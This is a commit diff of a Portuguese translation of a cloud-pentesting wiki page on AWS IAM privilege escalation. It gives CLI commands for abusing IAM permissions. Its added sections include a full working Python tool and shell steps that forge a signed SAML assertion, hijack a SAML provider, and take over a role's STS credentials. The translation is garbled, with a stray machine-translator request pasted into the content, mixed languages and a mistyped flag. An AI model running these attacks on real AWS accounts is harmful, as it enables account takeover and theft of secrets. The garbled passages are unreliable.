Translated ['', 'src/pentesting-cloud/aws-security/aws-privilege-escalat

2026-03-12 21:22:57 -07:00 · 2026-02-14 17:01:25 +00:00
parent 9e2aa34c9d
commit 907997369e
1 changed files with 314 additions and 42 deletions
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md
@@ -4,7 +4,7 @@

 ## IAM

-Para mais informações sobre o IAM, confira:
+Para mais informações sobre IAM, veja:

 {{#ref}}
 ../../aws-services/aws-iam-enum.md
@@ -19,17 +19,17 @@ Concede a capacidade de criar uma nova versão de política do IAM, contornando
 aws iam create-policy-version --policy-arn <target_policy_arn> \
 --policy-document file:///path/to/administrator/policy.json --set-as-default
 ```
-**Impacto:** Escala privilégios diretamente ao permitir qualquer ação em qualquer recurso.
+**Impacto:** Escala privilégios diretamente, permitindo qualquer ação em qualquer recurso.

 ### **`iam:SetDefaultPolicyVersion`**

-Permite alterar a versão padrão de uma policy IAM para outra versão existente, potencialmente escalando privilégios se a nova versão tiver mais permissões.
+Permite alterar a versão padrão de uma IAM policy para outra versão existente, potencialmente escalando privilégios se a nova versão tiver mais permissões.

-**Comando Bash:**
+**Bash Command:**
 ```bash
 aws iam set-default-policy-version --policy-arn <target_policy_arn> --version-id v2
 ```
-**Impacto:** Indirect privilege escalation ao habilitar mais permissões.
+**Impacto:** Indirect privilege escalation ao permitir mais permissões.

 ### **`iam:CreateAccessKey`, (`iam:DeleteAccessKey`)**

@@ -39,15 +39,15 @@ Permite criar access key ID e secret access key para outro usuário, levando a p
 ```bash
 aws iam create-access-key --user-name <target_user>
 ```
-**Impacto:** Escalada direta de privilégios ao assumir as permissões estendidas de outro usuário.
+**Impacto:** Escalada direta de privilégios ao assumir as permissões estendidas de outro user.

-Observe que um usuário só pode ter 2 access keys criadas, então, se um usuário já tiver 2 access keys, você precisará da permissão `iam:DeleteAccessKey` para deletar uma delas e poder criar uma nova:
+Observe que um user só pode ter 2 access keys criadas, então se um user já tiver 2 access keys você precisará da permissão `iam:DeleteAccessKey` para deletar uma delas e poder criar uma nova:
 ```bash
 aws iam delete-access-key --uaccess-key-id <key_id>
 ```
 ### **`iam:CreateVirtualMFADevice` + `iam:EnableMFADevice`**

-Se você puder criar um novo dispositivo MFA virtual e habilitá-lo em outro usuário, pode, na prática, inscrever seu próprio MFA para esse usuário e então solicitar uma sessão com MFA para as credenciais desse usuário.
+Se você conseguir criar um novo dispositivo virtual MFA e habilitá-lo para outro usuário, poderá efetivamente inscrever seu próprio MFA para esse usuário e, em seguida, solicitar uma sessão autenticada por MFA usando as credenciais dele.

 **Exploit:**
 ```bash
@@ -58,11 +58,11 @@ aws iam create-virtual-mfa-device --virtual-mfa-device-name <mfa_name>
 aws iam enable-mfa-device --user-name <target_user> --serial-number <serial> \
 --authentication-code1 <code1> --authentication-code2 <code2>
 ```
-**Impacto:** Escalada direta de privilégios ao assumir a inscrição MFA de um usuário (e então usar suas permissões).
+**Impacto:** Escalada de privilégios direta ao assumir o registro MFA de um usuário (e então usar suas permissões).

 ### **`iam:CreateLoginProfile` | `iam:UpdateLoginProfile`**

-Permite criar ou atualizar um login profile, incluindo definir senhas para login no console da AWS, levando à escalada direta de privilégios.
+Permite criar ou atualizar um perfil de login, incluindo definir senhas para login no console da AWS, levando a uma escalada direta de privilégios.

 **Exploit para Criação:**
 ```bash
@@ -74,55 +74,81 @@ aws iam create-login-profile --user-name target_user --no-password-reset-require
 aws iam update-login-profile --user-name target_user --no-password-reset-required \
 --password '<password>'
 ```
-**Impacto:** Escalonamento de privilégios direto ao efetuar login como o usuário "any".
+**Impacto:** Escalada de privilégios direta ao fazer login como o usuário "any".

 ### **`iam:UpdateAccessKey`**

-Permite habilitar uma access key desativada, potencialmente resultando em acesso não autorizado caso o atacante possua essa access key desativada.
+Permite habilitar uma access key desabilitada, possivelmente permitindo acesso não autorizado se o atacante possuir essa access key.

 **Exploit:**
 ```bash
 aws iam update-access-key --access-key-id <ACCESS_KEY_ID> --status Active --user-name <username>
 ```
-**Impacto:** Escalada de privilégios direta ao reativar chaves de acesso.
+**Impacto:** Escalada direta de privilégios ao reativar access keys.

 ### **`iam:CreateServiceSpecificCredential` | `iam:ResetServiceSpecificCredential`**

-Permite gerar ou redefinir credenciais para serviços AWS específicos (por exemplo, CodeCommit, Amazon Keyspaces), herdando as permissões do usuário associado.
+Permite gerar ou redefinir credenciais para serviços específicos da AWS (mais comumente **CodeCommit**). Estas **não** são AWS API keys: são credenciais **username/password** para um serviço específico, e você só pode usá-las onde esse serviço as aceita.

-**Exploração para Criação:**
+**Criação:**
 ```bash
-aws iam create-service-specific-credential --user-name <username> --service-name <service>
+aws iam create-service-specific-credential --user-name <target_user> --service-name codecommit.amazonaws.com
 ```
-**Exploit para Reset:**
+Salvar:
+
+- `ServiceSpecificCredential.ServiceUserName`
+- `ServiceSpecificCredential.ServicePassword`
+
+**Exemplo:**
+```bash
+# Find a repository you can access as the target
+aws codecommit list-repositories
+
+export REPO_NAME="<repo_name>"
+export AWS_REGION="us-east-1" # adjust if needed
+
+# Git URL (HTTPS)
+export CLONE_URL="https://git-codecommit.${AWS_REGION}.amazonaws.com/v1/repos/${REPO_NAME}"
+
+# Clone and use the ServiceUserName/ServicePassword when prompted
+git clone "$CLONE_URL"
+cd "$REPO_NAME"
+```
+> Nota: A senha do serviço frequentemente contém caracteres como `+`, `/` e `=`. Usar o prompt interativo geralmente é o mais fácil. Se você a inserir em uma URL, faça URL-encode primeiro.
+
+Neste ponto você pode ler tudo o que o usuário alvo pode acessar em CodeCommit (por exemplo, um leaked credentials file). Se você recuperar **AWS access keys** do repositório, configure um novo perfil do AWS CLI com essas chaves e então acesse recursos (por exemplo, leia uma flag do Secrets Manager):
+```bash
+aws secretsmanager get-secret-value --secret-id <secret_name> --profile <new_profile>
+```
+**Redefinir:**
 ```bash
 aws iam reset-service-specific-credential --service-specific-credential-id <credential_id>
 ```
-**Impacto:** Escalada direta de privilégios dentro das permissões de serviço do usuário.
+**Impact:** Escalada de privilégios para as permissões do usuário alvo no serviço especificado (e potencialmente além, se você pivotar usando dados recuperados desse serviço).

 ### **`iam:AttachUserPolicy` || `iam:AttachGroupPolicy`**

-Permite anexar políticas a usuários ou grupos, escalando privilégios diretamente ao herdar as permissões da política anexada.
+Permite anexar policies a usuários ou grupos, escalando privilégios diretamente ao herdar as permissões da policy anexada.

 **Exploit for User:**
 ```bash
 aws iam attach-user-policy --user-name <username> --policy-arn "<policy_arn>"
 ```
-**Exploit para Grupo:**
+**Exploit para o Grupo:**
 ```bash
 aws iam attach-group-policy --group-name <group_name> --policy-arn "<policy_arn>"
 ```
-**Impacto:** Privilege escalation direto para qualquer coisa que a política concede.
+**Impacto:** Direct privilege escalation para qualquer permissão que a política conceda.

 ### **`iam:AttachRolePolicy`,** ( `sts:AssumeRole`|`iam:createrole`) | **`iam:PutUserPolicy` | `iam:PutGroupPolicy` | `iam:PutRolePolicy`**

-Permite anexar ou inserir políticas em funções, usuários ou grupos, possibilitando privilege escalation direto ao conceder permissões adicionais.
+Permite anexar ou adicionar políticas a funções, usuários ou grupos, permitindo direct privilege escalation ao conceder permissões adicionais.

 **Exploit for Role:**
 ```bash
 aws iam attach-role-policy --role-name <role_name> --policy-arn "<policy_arn>"
 ```
-**Exploit for Inline Policies:**
+**Exploração para Inline Policies:**
 ```bash
 aws iam put-user-policy --user-name <username> --policy-name "<policy_name>" \
 --policy-document "file:///path/to/policy.json"
@@ -133,7 +159,7 @@ aws iam put-group-policy --group-name <group_name> --policy-name "<policy_name>"
 aws iam put-role-policy --role-name <role_name> --policy-name "<policy_name>" \
 --policy-document file:///path/to/policy.json
 ```
-Por favor, cole o conteúdo do arquivo src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md que deseja que eu traduza.
+Por favor, cole aqui o conteúdo do arquivo src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md que você quer traduzir para português.
 ```json
 {
 "Version": "2012-10-17",
@@ -146,13 +172,13 @@ Por favor, cole o conteúdo do arquivo src/pentesting-cloud/aws-security/aws-pri
 ]
 }
 ```
-**Impacto:** Escalada direta de privilégios ao adicionar permissões através de policies.
+**Impacto:** Escalada direta de privilégios ao adicionar permissões por meio de políticas.

 ### **`iam:AddUserToGroup`**

 Permite adicionar a si mesmo a um grupo IAM, escalando privilégios ao herdar as permissões do grupo.

-**Exploit:**
+**Exploração:**
 ```bash
 aws iam add-user-to-group --group-name <group_name> --user-name <username>
 ```
@@ -160,14 +186,14 @@ aws iam add-user-to-group --group-name <group_name> --user-name <username>

 ### **`iam:UpdateAssumeRolePolicy`**

-Permite alterar o documento de assume role policy de um role, habilitando a assunção do role e suas permissões associadas.
+Permite alterar o assume role policy document de uma role, permitindo a assunção da role e das permissões associadas.

-**Exploração:**
+**Exploit:**
 ```bash
 aws iam update-assume-role-policy --role-name <role_name> \
 --policy-document file:///path/to/assume/role/policy.json
 ```
-Quando a política estiver da seguinte forma, o que concede ao usuário permissão para assumir a role:
+Quando a policy for a seguinte, que dá ao usuário permissão para assumir a role:
 ```json
 {
 "Version": "2012-10-17",
@@ -182,38 +208,38 @@ Quando a política estiver da seguinte forma, o que concede ao usuário permiss
 ]
 }
 ```
-**Impacto:** Escalação direta de privilégios ao assumir as permissões de qualquer role.
+**Impacto:** Escalada direta de privilégios ao assumir as permissões de qualquer role.

 ### **`iam:UploadSSHPublicKey` || `iam:DeactivateMFADevice`**

 Permite fazer upload de uma chave pública SSH para autenticação no CodeCommit e desativar dispositivos MFA, levando a uma possível escalada indireta de privilégios.

-**Exploit para Upload de Chave SSH:**
+**Exploit for SSH Key Upload:**
 ```bash
 aws iam upload-ssh-public-key --user-name <username> --ssh-public-key-body <key_body>
 ```
-**Exploit para desativação de MFA:**
+**Exploit para Desativação de MFA:**
 ```bash
 aws iam deactivate-mfa-device --user-name <username> --serial-number <serial_number>
 ```
-**Impacto:** Escalação de privilégios indireta ao habilitar acesso ao CodeCommit ou desabilitar a proteção MFA.
+**Impacto:** Escalonamento de privilégios indireto ao habilitar acesso ao CodeCommit ou desativar a proteção MFA.

 ### **`iam:ResyncMFADevice`**

-Permite a ressincronização de um dispositivo MFA, potencialmente levando a uma escalação de privilégios indireta ao manipular a proteção MFA.
+Permite a ressincronização de um dispositivo MFA, potencialmente levando a um escalonamento de privilégios indireto ao manipular a proteção MFA.

 **Comando Bash:**
 ```bash
 aws iam resync-mfa-device --user-name <username> --serial-number <serial_number> \
 --authentication-code1 <code1> --authentication-code2 <code2>
 ```
-**Impacto:** Escalada de privilégio indireta ao adicionar ou manipular dispositivos MFA.
+**Impact:** Escalação indireta de privilégios ao adicionar ou manipular dispositivos MFA.

 ### `iam:UpdateSAMLProvider`, `iam:ListSAMLProviders`, (`iam:GetSAMLProvider`)

-Com essas permissões você pode **alterar os metadados XML da conexão SAML**. Em seguida, você poderia abusar da **SAML federation** para **fazer login** com qualquer **role que confie nela**.
+Com essas permissões você pode **alterar os metadados XML da conexão SAML**. Em seguida, você poderia abusar da **SAML federation** para **login** com qualquer **role que confie nela**.

-Observe que, ao fazer isso, **usuários legítimos não poderão fazer login**. No entanto, você poderia obter o XML, então pode colocar o seu, fazer login e restaurar a configuração anterior.
+Observe que ao fazer isso **legit users won't be able to login**. No entanto, você pode obter o XML, então pode colocar o seu, login e reconfigurar o anterior.
 ```bash
 # List SAMLs
 aws iam list-saml-providers
@@ -229,12 +255,258 @@ aws iam update-saml-provider --saml-metadata-document <value> --saml-provider-ar
 # Optional: Set the previous XML back
 aws iam update-saml-provider --saml-metadata-document <previous-xml> --saml-provider-arn <arn>
 ```
-> [!NOTE]
-> TODO: Uma ferramenta capaz de gerar o SAML metadata e realizar login com uma role especificada
+**Ataque de ponta a ponta:**
+
+1. Enumerar o provedor SAML e uma role que confia nele:
+```bash
+export AWS_REGION=${AWS_REGION:-us-east-1}
+
+aws iam list-saml-providers
+export PROVIDER_ARN="arn:aws:iam::<ACCOUNT_ID>:saml-provider/<PROVIDER_NAME>"
+
+# Backup current metadata so you can restore it later:
+aws iam get-saml-provider --saml-provider-arn "$PROVIDER_ARN" > /tmp/saml-provider-backup.json
+
+# Find candidate roles and inspect their trust policy to confirm they allow sts:AssumeRoleWithSAML:
+aws iam list-roles | grep -i saml || true
+aws iam get-role --role-name "<ROLE_NAME>"
+export ROLE_ARN="arn:aws:iam::<ACCOUNT_ID>:role/<ROLE_NAME>"
+```
+2. Forjar metadados do IdP + uma SAML assertion assinada para o par role/provider:
+```bash
+python3 -m venv /tmp/saml-federation-venv
+source /tmp/saml-federation-venv/bin/activate
+pip install lxml signxml
+
+# Create /tmp/saml_forge.py from the expandable below first:
+python3 /tmp/saml_forge.py --role-arn "$ROLE_ARN" --principal-arn "$PROVIDER_ARN" > /tmp/saml-forge.json
+python3 - <<'PY'
+import json
+j=json.load(open("/tmp/saml-forge.json","r"))
+open("/tmp/saml-metadata.xml","w").write(j["metadata_xml"])
+open("/tmp/saml-assertion.b64","w").write(j["assertion_b64"])
+print("Wrote /tmp/saml-metadata.xml and /tmp/saml-assertion.b64")
+PY
+```
+<details>
+<summary>Expansível: <code>/tmp/saml_forge.py</code> auxiliar (metadados + declaração assinada)</summary>
+```python
+#!/usr/bin/env python3
+from __future__ import annotations
+
+import argparse
+import base64
+import datetime as dt
+import json
+import os
+import subprocess
+import tempfile
+import uuid
+
+from lxml import etree
+from signxml import XMLSigner, methods
+
+
+def _run(cmd: list[str]) -> str:
+p = subprocess.run(cmd, check=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)
+return p.stdout
+
+
+def _openssl_make_key_and_cert(tmpdir: str) -> tuple[str, str]:
+key_path = os.path.join(tmpdir, "key.pem")
+cert_path = os.path.join(tmpdir, "cert.pem")
+_run(
+[
+"openssl",
+"req",
+"-x509",
+"-newkey",
+"rsa:2048",
+"-keyout",
+key_path,
+"-out",
+cert_path,
+"-days",
+"3650",
+"-nodes",
+"-subj",
+"/CN=attacker-idp",
+]
+)
+return key_path, cert_path
+
+
+def _pem_cert_to_b64(cert_pem: str) -> str:
+lines: list[str] = []
+for line in cert_pem.splitlines():
+if "BEGIN CERTIFICATE" in line or "END CERTIFICATE" in line:
+continue
+line = line.strip()
+if line:
+lines.append(line)
+return "".join(lines)
+
+
+def make_metadata_xml(cert_b64: str) -> str:
+return f"""<?xml version="1.0"?>
+<EntityDescriptor xmlns="urn:oasis:names:tc:SAML:2.0:metadata" entityID="https://attacker.invalid/idp">
+<IDPSSODescriptor protocolSupportEnumeration="urn:oasis:names:tc:SAML:2.0:protocol">
+<KeyDescriptor use="signing">
+<KeyInfo xmlns="http://www.w3.org/2000/09/xmldsig#">
+<X509Data>
+<X509Certificate>{cert_b64}</X509Certificate>
+</X509Data>
+</KeyInfo>
+</KeyDescriptor>
+<SingleSignOnService Binding="urn:oasis:names:tc:SAML:2.0:bindings:HTTP-Redirect" Location="https://attacker.invalid/sso"/>
+</IDPSSODescriptor>
+</EntityDescriptor>
+"""
+
+
+def make_signed_saml_response(role_arn: str, principal_arn: str, key_pem: str, cert_pem: str) -> bytes:
+ns = {
+"saml2p": "urn:oasis:names:tc:SAML:2.0:protocol",
+"saml2": "urn:oasis:names:tc:SAML:2.0:assertion",
+}
+
+issue_instant = dt.datetime.now(dt.timezone.utc)
+not_before = issue_instant - dt.timedelta(minutes=2)
+not_on_or_after = issue_instant + dt.timedelta(minutes=10)
+
+resp_id = "_" + str(uuid.uuid4())
+assertion_id = "_" + str(uuid.uuid4())
+
+response = etree.Element(etree.QName(ns["saml2p"], "Response"), nsmap=ns)
+response.set("ID", resp_id)
+response.set("Version", "2.0")
+response.set("IssueInstant", issue_instant.isoformat())
+response.set("Destination", "https://signin.aws.amazon.com/saml")
+
+issuer = etree.SubElement(response, etree.QName(ns["saml2"], "Issuer"))
+issuer.text = "https://attacker.invalid/idp"
+
+status = etree.SubElement(response, etree.QName(ns["saml2p"], "Status"))
+status_code = etree.SubElement(status, etree.QName(ns["saml2p"], "StatusCode"))
+status_code.set("Value", "urn:oasis:names:tc:SAML:2.0:status:Success")
+
+assertion = etree.SubElement(response, etree.QName(ns["saml2"], "Assertion"))
+assertion.set("ID", assertion_id)
+assertion.set("Version", "2.0")
+assertion.set("IssueInstant", issue_instant.isoformat())
+
+a_issuer = etree.SubElement(assertion, etree.QName(ns["saml2"], "Issuer"))
+a_issuer.text = "https://attacker.invalid/idp"
+
+subject = etree.SubElement(assertion, etree.QName(ns["saml2"], "Subject"))
+name_id = etree.SubElement(subject, etree.QName(ns["saml2"], "NameID"))
+name_id.set("Format", "urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified")
+name_id.text = "attacker"
+
+subject_conf = etree.SubElement(subject, etree.QName(ns["saml2"], "SubjectConfirmation"))
+subject_conf.set("Method", "urn:oasis:names:tc:SAML:2.0:cm:bearer")
+subject_conf_data = etree.SubElement(subject_conf, etree.QName(ns["saml2"], "SubjectConfirmationData"))
+subject_conf_data.set("NotOnOrAfter", not_on_or_after.isoformat())
+subject_conf_data.set("Recipient", "https://signin.aws.amazon.com/saml")
+
+conditions = etree.SubElement(assertion, etree.QName(ns["saml2"], "Conditions"))
+conditions.set("NotBefore", not_before.isoformat())
+conditions.set("NotOnOrAfter", not_on_or_after.isoformat())
+
+audience_restriction = etree.SubElement(conditions, etree.QName(ns["saml2"], "AudienceRestriction"))
+audience = etree.SubElement(audience_restriction, etree.QName(ns["saml2"], "Audience"))
+audience.text = "https://signin.aws.amazon.com/saml"
+
+attr_stmt = etree.SubElement(assertion, etree.QName(ns["saml2"], "AttributeStatement"))
+
+attr_role = etree.SubElement(attr_stmt, etree.QName(ns["saml2"], "Attribute"))
+attr_role.set("Name", "https://aws.amazon.com/SAML/Attributes/Role")
+attr_role_value = etree.SubElement(attr_role, etree.QName(ns["saml2"], "AttributeValue"))
+attr_role_value.text = f"{role_arn},{principal_arn}"
+
+attr_session = etree.SubElement(attr_stmt, etree.QName(ns["saml2"], "Attribute"))
+attr_session.set("Name", "https://aws.amazon.com/SAML/Attributes/RoleSessionName")
+attr_session_value = etree.SubElement(attr_session, etree.QName(ns["saml2"], "AttributeValue"))
+attr_session_value.text = "saml-session"
+
+key_bytes = open(key_pem, "rb").read()
+cert_bytes = open(cert_pem, "rb").read()
+
+signer = XMLSigner(
+method=methods.enveloped,
+signature_algorithm="rsa-sha256",
+digest_algorithm="sha256",
+c14n_algorithm="http://www.w3.org/2001/10/xml-exc-c14n#",
+)
+signed_assertion = signer.sign(
+assertion,
+key=key_bytes,
+cert=cert_bytes,
+reference_uri=f"#{assertion_id}",
+id_attribute="ID",
+)
+
+response.remove(assertion)
+response.append(signed_assertion)
+
+return etree.tostring(response, xml_declaration=True, encoding="utf-8")
+
+
+def main() -> None:
+ap = argparse.ArgumentParser()
+ap.add_argument("--role-arn", required=True)
+ap.add_argument("--principal-arn", required=True)
+args = ap.parse_args()
+
+with tempfile.TemporaryDirectory() as tmp:
+key_path, cert_path = _openssl_make_key_and_cert(tmp)
+cert_pem = open(cert_path, "r", encoding="utf-8").read()
+cert_b64 = _pem_cert_to_b64(cert_pem)
+
+metadata_xml = make_metadata_xml(cert_b64)
+saml_xml = make_signed_saml_response(args.role_arn, args.principal_arn, key_path, cert_path)
+saml_b64 = base64.b64encode(saml_xml).decode("ascii")
+
+print(json.dumps({"metadata_xml": metadata_xml, "assertion_b64": saml_b64}))
+
+
+if __name__ == "__main__":
+main()
+```
+</details>
+
+3. Atualize os metadados do provedor SAML para o certificado do seu IdP, assuma o role e use as credenciais STS retornadas:
+```bash
+aws iam update-saml-provider --saml-provider-arn "$PROVIDER_ARN" \
+--saml-metadata-document file:///tmp/saml-metadata.xml
+
+# Assertion is base64 and can be long. Keep it on one line:
+ASSERTION_B64=$(tr -d '\n' </tmp/saml-assertion.b64)
+SESSION_LINE=$(aws sts assume-role-with-saml --role-arn "$ROLE_ARN" --principal-arn "$PROVIDER_ARN" --saml-assertion "$ASSERTION_B64" \
+--query 'Credentials.[AccessKeyId,SecretAccessKey,SessionToken,Expiration]' --output text)
+IFS=$'\t' read -r SESSION_AK SESSION_SK SESSION_ST SESSION_EXP <<<"$SESSION_LINE"
+echo "Session expires at: $SESSION_EXP"
+
+# Use creds inline (no need to create an AWS CLI profile):
+AWS_ACCESS_KEY_ID="$SESSION_AK" AWS_SECRET_ACCESS_KEY="$SESSION_SK" AWS_SESSION_TOKEN="$SESSION_ST" AWS_REGION="$AWS_REGION" \
+aws sts get-caller-identity
+```
+4. Limpeza: restaurar metadados anteriores:
+```bash
+python3 - <<'PY'
+import json
+j=json.load(open("/tmp/saml-provider-backup.json","r"))
+open("/tmp/saml-metadata-original.xml","w").write(j["SAMLMetadataDocument"])
+PY
+aws iam update-saml-provider --saml-provider-arn "$PROVIDER_ARN" \
+--saml-metadata-document file:///tmp/saml-metadata-original.xml
+```
+> [!WARNING]
+> Atualizar os metadados do SAML provider é disruptivo: enquanto seus metadados estiverem em vigor, usuários legítimos de SSO podem não conseguir se autenticar.

 ### `iam:UpdateOpenIDConnectProviderThumbprint`, `iam:ListOpenIDConnectProviders`, (`iam:`**`GetOpenIDConnectProvider`**)

-(Não tenho certeza sobre isto) Se um atacante tiver essas **permissões** ele poderia adicionar um novo **Thumbprint** para conseguir fazer login em todas as roles que confiam no provider.
+(Não tenho certeza sobre isto) Se um atacante tiver essas **permissions**, ele poderia adicionar um novo **Thumbprint** e assim conseguir fazer login em todas as roles que confiam no provider.
 ```bash
 # List providers
 aws iam list-open-id-connect-providers
@@ -245,7 +517,7 @@ aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-ar
 ```
 ### `iam:PutUserPermissionsBoundary`

-Essa permissão permite que um atacante atualize o limite de permissões de um usuário, potencialmente escalando seus privilégios ao permitir que ele execute ações que normalmente são restritas pelas suas permissões existentes.
+Esta permissão permite que um atacante atualize o permissions boundary de um usuário, potencialmente escalando seus privilégios ao permitir que ele execute ações que normalmente são restritas pelas suas permissions existentes.
 ```bash
 aws iam put-user-permissions-boundary \
 --user-name <nombre_usuario> \
@@ -268,7 +540,7 @@ Un ejemplo de una política que no aplica ninguna restricción es:
 ```
 ### `iam:PutRolePermissionsBoundary`

-Um ator com iam:PutRolePermissionsBoundary pode definir um permissions boundary em uma role existente. O risco surge quando alguém com essa permissão altera o boundary de uma role: essa pessoa pode restringir indevidamente operações (causando interrupção de serviço) ou, se anexar um boundary permissivo, efetivamente ampliar o que a role pode fazer e escalar privilégios.
+Um ator com iam:PutRolePermissionsBoundary pode definir um limite de permissões em uma função existente. O risco surge quando alguém com essa permissão altera o limite de permissões de uma função: essa pessoa pode restringir indevidamente operações (causando interrupção de serviço) ou, se anexar um limite de permissões permissivo, ampliar efetivamente o que a função pode fazer e escalar privilégios.
 ```bash
 aws iam put-role-permissions-boundary \
 --role-name <Role_Name> \